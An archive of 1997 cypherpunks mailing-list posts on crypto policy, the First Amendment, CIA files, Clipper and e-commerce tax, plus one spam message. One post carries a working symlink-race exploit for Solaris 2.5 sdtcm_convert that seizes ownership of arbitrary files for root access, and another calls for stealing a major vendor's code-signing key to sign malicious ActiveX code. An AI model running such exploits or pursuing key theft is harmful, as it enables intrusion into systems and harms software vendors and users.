uW8YbnLHPZI4lctrSxs99L75Y1yxK3Q2+jijeWevnf9qfzIAItAEzxbANIFdoiZo
yYhoz/DdUvLepDPZc1t4owuNFcVs6EEBg++FrUxPsShp2SUGEOJ4yRO4p9lkTVkM
5mUBCGtJngo=
=UlcG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sat, 22 Feb 1997 23:38:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead
In-Reply-To: <v03007800af358a3a3b74@[207.167.93.63]>
Message-ID: <199702230738.XAA15548@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May writes:

> Oh? And will the First Amendment then be repealed?

> "Congress shall make no law respecting the establishment of speech or
> prohibiting the free exercise thereof" seems rather clear: Congress cannot
> insist that a particular form of speech be used to the exclusion of others.

> A ban on coding messages, speaking in languages unintelligible to
> wiretappers, etc., would quite clearly be thrown out on First Amendment
> grounds, from everything I know of the Supreme Court and its reasoning.

The Supremes can bypass the First Ammendment anytime they choose by simply
mumbling something about "society's overwhelming interest in protecting
itself." 

Indeed, the plethora of regulation against various forms of "bad" speech
concerning children and their sexuality is the clearest example of this,
with the Knox "clothed child porn" decision, and the recent Hatch nonsense
making any suggestion of underage sexual activity illegal, regardless of
whether underaged models were involved in its production. 

I expect textual material will be outlawed in a few years as well, as a
"loophole" in the current laws, since real children no longer have to be
associated with such material in order for it to be deemed harmful. 

Once that happens, a whole bunch of other things will probably be outlawed
shortly thereafter, the criteria being that they are certainly as
dangerous as an illicit copy of "Aunt Sue and the Horny Paperboy." 

Expect bombmaking instructions, anti-government tracts, cryptography, and
most Loompanics books to be included here. 

> And so on. Banning unescrowed cryptography would result in the Mother of
> all Constitutional challenges, and would, I am sure, result in such a ban
> being declared unconstitutional. If throwing Alice in jail because she used
> a form of speech unacceptable to the rulers is not a violation of the
> First, nothing is.

The frog is nearly boiled.  If the Mother of all Constitutional Challenges
hasn't happened by now, it isn't going to.  This is a country that throws
grad students in prison for possessing films of young girls doing
gymnastics.  What makes you think unescrowed cryptography has some special
hallowed status? 

The First Ammendment is useless, as there are clear counterexamples to
unlimited free speech.  That makes it a matter of interpretation, and the
courts will interpret it according to the existing level of public
hysteria.  The Fourth Ammendment only guarantees us "due process."  We do
not, as some countries do, have a strong privacy provision written into
our Constitution.  I have always held that a well-written privacy
provision keeping the government out of peoples homes and personal 
possessions is worth ten First Ammendments. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: get.a.life@worldnet.att.net
Date: Sat, 22 Feb 1997 15:54:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Tap in to You Income Potential
Message-ID: <19970222223625.AUJ19585@mailhost.worldnet.att.net>
MIME-Version: 1.0
Content-Type: text/plain


Tap in to your own income potential and Make a Change for Life!

Why this Company?

* It answers the criteria established by both the Harvard Business School and the Kiplinger Personal Finance Magazine.

* It has been in business more than four years.  Their products trigger an emotional response, are consumable, and have been exposed to less thatn 1% of the population in the U.S.  The products are reasonably priced, easy to use and unique to the marketplace.  The company offers a 30 day money-back guarantee.  The products are in the explosive industries of health, weight management, nutrition, personal-care and telecommunications.

* It is approaching the stage of critical mass.  Getting involved with the company at this stage of momentum puts you in a position of substantial growth.

* The company is debt free.  It is a family-owned business dedicated to long-term growth.  It is also a product driven company.  Your income will be driven by retail sales and repeat business.

* You have the opportunity to earn income on up to sex levels deep as a Qualified Director.

Please take the time to visit the corporate home page at http://www.eola.com/.  Then give me a call or send me an e-mail to ask questions, to purchase products at retail or wholesale prices, or to set up your own distributorship.

I look forware to hearing from you,


Neda Hatcher
E'OLA Products Independent Distributor
get.a.life@woldnet.att.net

MasterCard and VISA accepted!
(318)688-2517

msg002





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Pan D.Modium" <pandemodium@nym.alias.net>
Date: Sat, 22 Feb 1997 19:19:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dark Times Ahead
Message-ID: <19970223031916.13758.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Predictions for the Year

1.  Encryption without "Key Escrow" will be outlawed.  The remailer
    network will be shutdown following highly public raids that 
    result in equipment seizures and prosecution of the remailer
    operators using RICO statutes after agents provocateur post
    terrorist threats to the Internet.
2.  Tobacco companies will cave in to the states on liability for
    medical costs and declare bankruptcy.  The few remaining small
    companies not party to the suits will see themselves targeted
    after prices on a pack of cigarettes rises to 1000% of the 
    current price.  Two years from now, cigarettes will be almost 
    impossible to get and result in smuggling on a scale that dwarfs 
    cocaine and marijuana trafficing.
3.  The NSA's prohibition on domestic surveillance will be lifted 
    following allegations of massive money laundering via the Internet
    and rumors that major American banks have been raided via the
    net by Russian mafia.
4.  The IRS will go to court to force the National Rifle Association
    to turn over its membership lists as the agency audits the books
    of the non-profit organization.  After obtaining the lists, the
    IRS will target the members for special auditing programs.
5.  The FBI will direct the implementation of the Digital Telephony
    Act after Congress finally caves in and provides the funding.  A
    new protocol for wiretapping will be implemented as provided for
    in the Act that does not allow for judicial review.
6.  The Supreme Court will surprise everyone by upholding the 
    Communications Decency Act in a 5-4 decision.  The FBI will stage
    widely publicized raids on the most visible adult web sites.

Pan D. Modium
pandemodium@nym.alias.net
"May you live in interesting times." -- ancient Chinese curse




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 23 Feb 1997 06:12:24 -0800 (PST)
To: "Pan D.Modium" <pandemodium@nym.alias.net>
Subject: Re: Dark Times Ahead
In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu>
Message-ID: <Pine.GSO.3.95.970223090719.654B-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain




On 23 Feb 1997, Pan D.Modium wrote:

> Predictions for the Year

> 2.  Tobacco companies will cave in to the states on liability for
>     medical costs and declare bankruptcy.  The few remaining small
>     companies not party to the suits will see themselves targeted
>     after prices on a pack of cigarettes rises to 1000% of the 
>     current price.  Two years from now, cigarettes will be almost 
>     impossible to get and result in smuggling on a scale that dwarfs 
>     cocaine and marijuana trafficing.

When I was a kid, we'd just grab a tobacco leaf in the barn and roll it up
in a piece of paper.  Informal cigarettes will always be easy to get.  But
the FDA will have an excuse to start fielding large SWAT teams.

Brad

attention:

WKEWE EOXEN RILKX OC'QD ,CYEL
VPJVL KRLKC IQ'BM E;SRF U;RVU





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 23 Feb 1997 11:24:20 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead - sort of off-topic
In-Reply-To: <19970223031916.13758.qmail@anon.lcs.mit.edu>
Message-ID: <v03010d04af3643c104a8@[17.219.102.37]>
MIME-Version: 1.0
Content-Type: text/plain


"Pan D.Modium" <pandemodium@nym.alias.net> writes, in part:

>2.  Tobacco companies will cave in to the states on liability for
>    medical costs and declare bankruptcy.  The few remaining small
>    companies not party to the suits will see themselves targeted
>    after prices on a pack of cigarettes rises to 1000% of the
>    current price.  Two years from now, cigarettes will be almost
>    impossible to get and result in smuggling on a scale that dwarfs
>    cocaine and marijuana trafficing.

Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are
a choice smuggling item. I vaguely recall a price of $200 per
cigarette (but note that, in a prison economy, the "dollar" is
only loosely connected to reality.

I can imagine a National Smokers Association: "When cigarettes
are outlawed, only outlaws will have cigarettes" -- or, somewhat
more appropriately, "you can have my cigarette when you pry my
cold dead fingers off of it."

Martin Minow (non-smoker, other vices not discussed)








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cristian SCHIPOR <skipo@sundy.cs.pub.ro>
Date: Sun, 23 Feb 1997 01:21:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Exploit for sdtcm_convert - Solaris 2.5 - second
Message-ID: <Pine.GSO.3.95.970223111505.1649C-100000@sundy.cs.pub.ro>
MIME-Version: 1.0
Content-Type: text/plain



Sun Feb 23 10:36:58 EET 1997 Romania

"Exploit for sdtcm_convert - Solaris 2.5"

I send you an e-mail about a bug and an exploit for sdtcm_convert.
(sdtcm_convert allows you to become owner of any file or directory from
the system - and gain root access )

First, there was some problems with my uuencoded exploit (some damaged it
on the route...) so i'll resend you the files for exploit.

Second, Casper Dick send me:

>Is this the bug fixed in the Sun patches:

>103670-02: CDE 1.0.2: sdtcm_convert has a security vulnerability
>103671-02: CDE 1.0.1: sdtcm_convert has a security vulnerability
>103717-02: CDE 1.0.2: sdtcm_convert has a security vulnerability (x86
version)
>103718-02: CDE 1.0.1: sdtcm_convert has a security vulnerability (x86
version)


>or is it a new one?

>Casper

I cant found this patches to verify if that fix the problem i have
found or not. Anyway you have an exploit ! (execute 'thefist' and wait)

Cristian Schipor - Computer Science Faculty - Bucharest - Romania

Email: skipo@math.pub.ro skipo@sundy.cs.pub.ro skipo@ns.ima.ro
Phone: (401) 410.60.88


------------------------- file thefirst ------------------------------------
/bin/echo "orange.c -> orange"
gcc -o orange orange.c

/usr/ucb/whoami > wh
read USER < ./wh

#watching for callog file if it isnt will stop
if ! test -f /var/spool/calendar/callog.$USER; then
  /bin/echo "I cant found callog file. Please read README and create it"
  exit;
fi

/bin/echo "what's the target ???"
read TARGET

/bin/echo /bin/chmod 000 /var/spool/calendar/callog.$USER >lemon
/bin/echo /usr/dt/bin/sdtcm_convert $USER >>lemon
/bin/chmod 700 ./lemon

./orange $TARGET $USER

------------------------- end --------------------------
------------------------ file orange.c ---------------------------
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

#define path  "/var/spool/calendar/callog."


void main(int argc, char *argv[])
{
int pid,filedes[2];
FILE *f;
struct stat info;
long i;
char target[128],shift[128];
	
	strcpy(target,argv[1]);
	strcpy(shift,path);
	strcat(shift,argv[2]);
	if(pipe(filedes))
	{
		perror("cant crate pipe\n");
		exit(0);
	}	
	if(pid=fork()==0)
	{
		for(i=0;i<30000000;i++);
		unlink(shift);
		symlink(target,shift);
		write(filedes[1],"y\n",sizeof("y\n"));
	}				
	else 
	{
		close(0);
		dup(filedes[0]);
		system("lemon");
		stat(target,&info);
		if(info.st_uid==getuid()) printf("COLL I did IT !!!\n");
	}
	
}

------------------------ end ----------------------------
------------------------ file README ----------------------
*How to make a simple callog file*

If you dont have a /var/spool/calendar/callog.YOU edit callog.example,
replace 'skipo' with your user name and 'sundy.cs.pub.ro' with your
machine name (try first the short name, example: sundy and if you'll have
troubleshotings try the long name, example sundy.cs.pub.ro). After that
copy the new callog file in /var/spool/calendar/callog.YOUR_USER_NAME, run
once sdtcm_convert with your user name (example sdtcm_convert skipo)
and wait for corrections. Now you are ready to run the exploit.
Another way is to run calendar tool from CDE.
------------------------- end -------------------------------
------------------------ file callog.example ------------------------
Version: 4
**** start of log on Fri Dec  6 14:07:43 1996 ****

(calendarattributes ("-//XAPIA/CSA/CALATTR//NONSGML Access List//EN","10:access_list","world:2")
("-//XAPIA/CSA/CALATTR//NONSGML Calendar Name//EN","5:string","skipo@sundy.cs.pub.ro")
("-//XAPIA/CSA/CALATTR//NONSGML Calendar Owner//EN","6:user","skipo@sundy.cs.pub.ro")
("-//XAPIA/CSA/CALATTR//NONSGML Character Set//EN","5:string","C.ISO-8859-1")
("-//XAPIA/CSA/CALATTR//NONSGML Date Created//EN","7:date_time","19961206T120743Z")
("-//XAPIA/CSA/CALATTR//NONSGML Product Identifier//EN","5:string","-//DT//NONSGML Calendar Product Version 1//EN")
("-//XAPIA/CSA/CALATTR//NONSGML Version//EN","5:string","-//XAPIA/CSA/VERSION1/NONSGML CSA Version 1//EN")
)
-------------------------- end --------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Feb 1997 15:10:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: An Overweening Faith in the Supreme Court
In-Reply-To: <19970223142933.8389.qmail@anon.lcs.mit.edu>
Message-ID: <RZ8k3D57w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Pan D.Modium" <pandemodium@nym.alias.net> writes:
> In short, America has been sliding down the path to fascism at an
> amazing pitch since the early 80's.  Not once in history has a country
> gone this far down the path to tyranny and turned back.  America will
> not be the first.

Dunno about turning back but the U.S. does resemble in many ways
Argentina in the '40's and '50's. (It resembles the U.S.S.R in
the '70's in yet other ways. :-)

So, can you think of a good country to move to, besides Israel? :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Feb 1997 10:14:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: CIA Lie
Message-ID: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The Washington Post, February 20, 1997, p. A22:

   Domestic CIA Snooping

   The CIA's assertion on its Web page that the agency does
   not keep files on Americans is not in fact true ["In the
   Loop," Federal Page, Feb. 12]. The agency opened a file on
   my client, Daniel Tsang, a political activist and librarian
   at the University of California at Irvine, in the 1980s and
   recorded his constitutionally protected activities.

   When we sued the agency, we discovered that no agency
   directives prohibit the maintenance of such files and the
   CIA lawyers made the extraordinary claim that it is legal
   for the agency to keep files on Americans, including on
   citizens' First Amendment activities. The CIA claimed that
   it is exempt from Privacy Act restrictions on such
   practices.

   While the CIA eventually agreed to expunge Mr. Tsang's file
   and promised to refrain from opening such files on him in
   the future, it refused to acknowledge any limitation on its
   authority to keep files on other Americans. It should do so
   now.

   Kate Martin
   Washington

   The writer is director of the Center for National Security
   Studies, a project of the Fund for Peace.

   -----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 14:48:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead
Message-ID: <199702232248.OAA22931@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:38 PM 2/22/97 -0800, Mike Duvos wrote:
>Timothy C. May writes:
>
>> Oh? And will the First Amendment then be repealed?
>
>> "Congress shall make no law respecting the establishment of speech or
>> prohibiting the free exercise thereof" seems rather clear: Congress cannot
>> insist that a particular form of speech be used to the exclusion of others.
>
>> A ban on coding messages, speaking in languages unintelligible to
>> wiretappers, etc., would quite clearly be thrown out on First Amendment
>> grounds, from everything I know of the Supreme Court and its reasoning.
>
>The Supremes can bypass the First Ammendment anytime they choose by simply
>mumbling something about "society's overwhelming interest in protecting
>itself." 

I'd sure like to know how they figure out what "society" really wants to do! 
 In April of 1993, which the original Clipper chip/system was proposed, not 
all that many people had even heard of the Internet, and far fewer were 
aware of the details of encryption.  Surely they didn't mean to suggest that 
"society" was in favor of Clipper?  Blissfully ignorant, perhaps, but not in 
favor!  (B^)

Obviously, with their "If you only knew what we know" they'll claim that the 
public would have favored Clipper if it knew the real problems, but the way 
I see it, if they REALLY believed that there was a serious threat to 
anything other than merely their jobs, they would have done a better job 
convincing the public.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 23 Feb 1997 15:16:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CIA Lie
In-Reply-To: <1.5.4.32.19970223180814.006eb4ec@pop.pipeline.com>
Message-ID: <3.0.1.32.19970223151811.006c60f0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:08 PM 2/23/97 -0500, John Young wrote:
[...]
>   While the CIA eventually agreed to expunge Mr. Tsang's file
>   and promised to refrain from opening such files on him in
>   the future, it refused to acknowledge any limitation on its
>   authority to keep files on other Americans. It should do so
>   now.

I received a reply to my FOIA request re cpunks to the CIA; it indicates
that they "doubt" that they have any records responsive to my request, and
think I'd be better served by writing to the FCC. (?!) It's at
<http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back
and ask them to actually comply with FOIA, e.g., look through their files,
instead of just guessing that there probably isn't anything in there. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 17:08:00 -0800 (PST)
To: Greg Broiles <cypherpunks@toad.com
Subject: Re: CIA Lie
Message-ID: <199702240107.RAA05569@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:18 PM 2/23/97 -0800, Greg Broiles wrote:
>I received a reply to my FOIA request re cpunks to the CIA; it indicates
>that they "doubt" that they have any records responsive to my request, and
>think I'd be better served by writing to the FCC. (?!) It's at
><http://www.io.com/~gbroiles/cp-foia/cia-1.html>. I'm going to write back
>and ask them to actually comply with FOIA, e.g., look through their files,
>instead of just guessing that there probably isn't anything in there. 


You could have said to them, "If you can't find anything, maybe you could 
make something up, okay?"

Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sun, 23 Feb 1997 17:48:07 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: CIA Lie
In-Reply-To: <199702240107.RAA05569@mail.pacifier.com>
Message-ID: <3.0.1.32.19970223175349.00ce2ee4@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:09 PM 2/23/97 -0800, jim bell wrote:
>
>You could have said to them, "If you can't find anything, maybe you could 
>make something up, okay?"

I think I'd only be disappointed, given the high quality of goofball
conspiracy theory I've grown accustomed to on the list. 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 23 Feb 1997 15:30:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dark Times Ahead - sort of off-topic
In-Reply-To: <3310CC67.30EE@sk.sympatico.ca>
Message-ID: <69PL3D59w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> Martin Minow wrote:
> > Some state prisons (Utah? Minnesota?) are smoke-free. Cigarettes are
> > a choice smuggling item.
>
> > I vaguely recall a price of $200 per
> > cigarette (but note that, in a prison economy, the "dollar" is
> > only loosely connected to reality.
>
>   If it's been a while since you were released, then the prices
> have probably changed.

Ask Randall Schwartz (spit).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Sun, 23 Feb 1997 18:14:39 -0800 (PST)
To: jim bell <cypherpunks@toad.com
Subject: Re: Speculations on Espionage-Enabled Encryption
In-Reply-To: <199702232031.MAA11004@mail.pacifier.com>
Message-ID: <v03010d00af36a7c016f5@[17.219.103.242]>
MIME-Version: 1.0
Content-Type: text/plain


Jim Bell writes:
>
>Has it been established that Microsoft (is only/can only) sign crypto
>add-ons which are approved for export?  Since there are no restrictions
>domestically, presumably Microsoft can sign anything it wants.  If those
>versions ever manage to "sneak out" of the country, well that's too bad!
>

Here are some speculations based, in part, on my interpretation (repeat,
MY INTERPRETATION) of discussion on code signing at last year's
Java One conference:

-- Only the vendor, physically located in the USA, will sign crypto add-ons.
-- Since the add-ons are physically signed in the USA, the signed
   add-on must comply with all export regulations. I.e., no
   restriction on domestic use, various export control restrictions
   as appropriate to the crypto add-on.

I would presume that the add-on would be distributed public-key
encrypted, and could only be created by the holder of the corresponding
private key (i.e. the operating-system vendor) and, furthermore, could
only be run by an operating system that could decrypt the add-on package.
A vendor could presumably export operating system variants that
could not execute some subset of crypto add-ons because the variant
lacks the ability to decrypt the package.

In the long-term (3-5 years), I wouldn't be suprised to find the
decryption capability moved onto the processor chip, making the
problem of distribution strong crypto more difficult.

Martin Minow
minow@apple.com








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 23 Feb 1997 18:23:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: It is time to break Authenticode
Message-ID: <199702240222.SAA13104@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:09 PM 2/23/97 -0500, lucifer Anonymous Remailer wrote:
>Microsoft's recent arrogant and irresponsible reply to the Chaos
>Computer Club hack on ActiveX requires response. An effective response
>would be to steal the key of a major code signer and produce a signed,
>malicious ActiveX control. Such an attack would demonstrate the
>serious problems of Microsoft's security philosophy.
>
[trim]
>
>The best avenue of attack is stealing the secret key of a respected
>code signer. The target should be one of the major players, if not
>Microsoft itself. Someone is sloppy to store their secret key on a
>machine hooked to the Internet. Stealing it would be a very nice
>challenge. It should be doable.

I can think of an easier way.  If the goal is simply to demonstrate that the 
system can be broken, how about offering a not-insignificant amount of money 
to anonymous person who manages to successfully get code signed?  No 
exposure is necessary, just the signature done once.



Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sun, 23 Feb 1997 17:09:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: It is time to break Authenticode
Message-ID: <199702240109.UAA17912@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Microsoft's recent arrogant and irresponsible reply to the Chaos
Computer Club hack on ActiveX requires response. An effective response
would be to steal the key of a major code signer and produce a signed,
malicious ActiveX control. Such an attack would demonstrate the
serious problems of Microsoft's security philosophy.


Hackers have known since ActiveX was announced that its security model
is ridiculous. Signatures are not enough to protect users from
malicious code. Exploder and the CCC hack have done a great job of
demonstrating practical examples of why ActiveX is dangerous.

The CCC hack in particular has made the ActiveX security issue visible
enough that Microsoft has been forced to respond publically.
Unfortunately, their published response on http://www.microsoft.com/security/
does not begin to admit the fundamental flaws in ActiveX. Instead,
they continue to hide behind code signatures and mislead the public
that their system is no less secure than Java.

The obvious response to Microsoft's attempt at damage control is to
demonstrate an attack with a control signed by a reputable party.
There are three ways to do this: subvert an existing signed control,
subvert the signature protocols, or steal a signing key.


Subverting existing signed controls is an interesting avenue.
Currently used ActiveX controls have implementation bugs that could
be exploited in an attack. Finding one would be a fair amount of work,
however, and a successful attack would only show that code has bugs,
not demonstrate the fundamental flaw in relying on code signatures.

The signature protocols of Authenticode are presumably secure -
getting signatures right is well understood. Still, does anyone have
information on exactly how the signatures work?


The best avenue of attack is stealing the secret key of a respected
code signer. The target should be one of the major players, if not
Microsoft itself. Someone is sloppy to store their secret key on a
machine hooked to the Internet. Stealing it would be a very nice
challenge. It should be doable.

Stealing the key itself will almost certainly be an illegal act.
Morally, the demonstration signed control should itself not do damage.
Something like the Exploder control (which warns the user before
shutting down the machine) should be good enough to show the flaws of
ActiveX without causing trouble.


A public discussion about how to best go about this attack should be
interesting. For obvious reason, the attack itself would have to be
done in secrecy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 23 Feb 1997 18:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: CIA Lie
Message-ID: <1.5.4.32.19970224020944.006e1e44@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


After eying the disingenuous CIA letter to Greg, it may be
worth eying disingenuous USG laws on electronic surveillance, 
most of which ostensibly apply to foreign targets but may catch 
US citizens in the global sweep, say, as on Cypherpunks -- 
keep at it, Greg.

We've put some of them on our site today, as listed at:

   http://jya.com/crypto.htm

fis.htm            Foreign Intelligence Surveillance (108K)
50usc402a.txt      Coordination of Counterintelligence
50usc438.txt       Access to Classified Information
18usc794.txt       Espionage and Censorship
18usc2511.txt      Electronic Communications Intercepts
18usc2709.txt      Electronic Records Access
15usc1681u.txt     Disclosures to FBI for Counterintelligence
12usc3414.txt      Right to Financial Privacy

For details not fully revelatory of the CIA's operations, see 
50USC413 et seq., by searching the United States Code at:

   http://www.access.gpo.gov/su_docs/aces/aaces002.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 23 Feb 1997 21:10:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: MULTI-JURISDICTIONAL TAXATION OF ELECTRONIC COMMERCE
Message-ID: <199702240510.VAA28279@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:16 PM 2/21/97 -0500, Robert Hettinga wrote:
>--- begin forwarded text
...
>This symposium will consider a wide range of issues, including:
>
>**Differences in determining the electronic commerce income
>tax base.  Should source or residence rules be used, or should
>some form of formulary apportionment be applied?
>
>**Problems in imposing retail sales taxes on electronic sales.
>Should traditional nexus rules apply?
>
>**Problems in determining the value added by electronic
>commercial inputs.  Should a tax be determined based on the
>'bits' of information? If so, should each 'bit' be valued the
>same?
>
>**Problems involving the harmonization of tax rules.
>International and sub-national aspects of this problem will be
>considered. OECD efforts in this area will be contrasted with
>proposed uniform state legislation in the US.
>
>**Throughout the symposium the impact that these tax decisions
>will have on cross-border investment decisions will be a primary
>concern.
...
"Toll" tax.
If each packet were "taxed" as it entered a system, and due to the nature of
the internet, when traffic increases in certain areas, prices would go up,
driving activity back down, then each area could "tax" what it wanted.
The only real problem would be how to get people to pay.  Unlike the toll
booth at the entrance to a turnpike, internet users don't keep exact change.
There is no window to roll down to hand the attendant the money, there is no
accepted currency to hand the attendant either.
Taxation can't really begin until e-cash equipped browsers are common.
Plus, executables are fairly large, while text files tend to be small,
adding a bias against executables, images, and audio files.
In addition, since the packets have to originate from somewhere, the
location of the poster would get to tax at least.

Of course, if such a system were not mandatory in a region, then "freenets"
would get a whole new meaning.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Sun, 23 Feb 1997 21:10:58 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Clipper article in  Cu Digest, #9.10, Wed 20 Feb 97
Message-ID: <199702240510.VAA28286@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:16 AM 2/21/97 -0800, Bill Stewart forewarded:
>CUD is available at  URL: http://www.soci.niu.edu/~cudigest/
>Here are some excerpts:
...
>>  The Defense Department plans to remove the government key escrow
>>  software from its Fortezza cards used on the Defense Message System, a
>>  move that signals the death of the Clinton administration's
>>  controversial Clipper initiative and one that should encourage
>>  civilian use of the cryptographic cards.
>>
>>  A DOD spokeswoman confirmed the decision to remove the key escrow but
>>  would not provide further details.
>>
>>  The DOD decision, which will be formalized in a policy expected out
>>  shortly, is in response to the administration's decision last October
>>  to support key recovery technology instead of the controversial
>>  Clipper initiative. Each agency must decide how it will implement the
>>  government's policy internally. A technical advisory committee will
>>  develop standards for a federal key management infrastructure.
>...
>>  DOD has for years pressured civilian agencies to use government escrow
>>  technology, but the agencies were wary of the law enforcement access.
>>  Stephen Walker, president and chief executive officer of Trusted
>>  Information Systems Inc. (TIS), said the policy will remove the last
>>  remnants of the Clipper and serve as an official endorsement of key
>>  recovery technology.
...
So instead of all of the keys being stored in some guarded vault, the parent
key which each chip uses to encrypt part of the users key when transmitting
is kept in some guarded vault.
That way they get the key in some 10 messages unless you rotate often.

Or the keys are assigned according to some unusual system.  Assuming that
only 10,000,000 people were interested in the cards, then only 2^24 keys, or
16777216 keys need to be assigned.  An additional 100+ bits of "key" can be
thrown in, so long as the government has those, or can reconstruct them from
the others.
If you can only affect part of the key, can't a brute force attack get you,
knowing that certain random digits were always the same?
Of course this would become too obvious really soon, unless some elaborate
system were used to rotate the garbage.  such as having bits 2, 5, 9, 11,
12, 14, and 19 tell which of 128 different garbage sets to throw in.
Please correct me if this is unfounded.
Please inform me if I'm on the right track.
Please tell me that I'm just irrationally paranoid so I can get some help.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert Rothenburg 'Walking-Owl'" <WlkngOwl@unix.asb.com>
Date: Sun, 23 Feb 1997 21:53:26 -0800 (PST)
To: coderpunks@toad.com
Subject: (Fwd) RC5-56 effort by New Media Laboratories
Message-ID: <199702240554.AAA12066@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


This came though on the RC5 challenge list. My apologies for those 
who already have seen it.

--Rob

------- Forwarded Message Follows -------
Date:          Sat, 22 Feb 1997 15:29:05 +0100
From:          lendl@cosy.sbg.ac.at (Otmar Lendl)
To:            challenge@list.ee.ethz.ch
Subject:       RC5-56 effort by New Media Laboratories

Hi all,

I just noticed that New Media Laboratories launched an attack at the RC5/56
challenge. For details see
	
	http://zero.genx.net/

Just FYI,

otmar
-- 
/ Otmar Lendl (lendl@cosy.sbg.ac.at) # http://www.cosy.sbg.ac.at/~lendl/  \  
\ Killfiles generate SEP fields. Beware: the CE-Norm does not cover them. /



-----
"The word to kill ain't dirty     | Robert Rothenburg (WlkngOwl@unix.asb.com)
 I used it in the last line       | http://www.asb.com/usr/wlkngowl/
 but use a short word for lovin'  | Se habla PGP:  Reply with the subject
 and dad you wind up doin' time." | 'send pgp-key' for my public key.




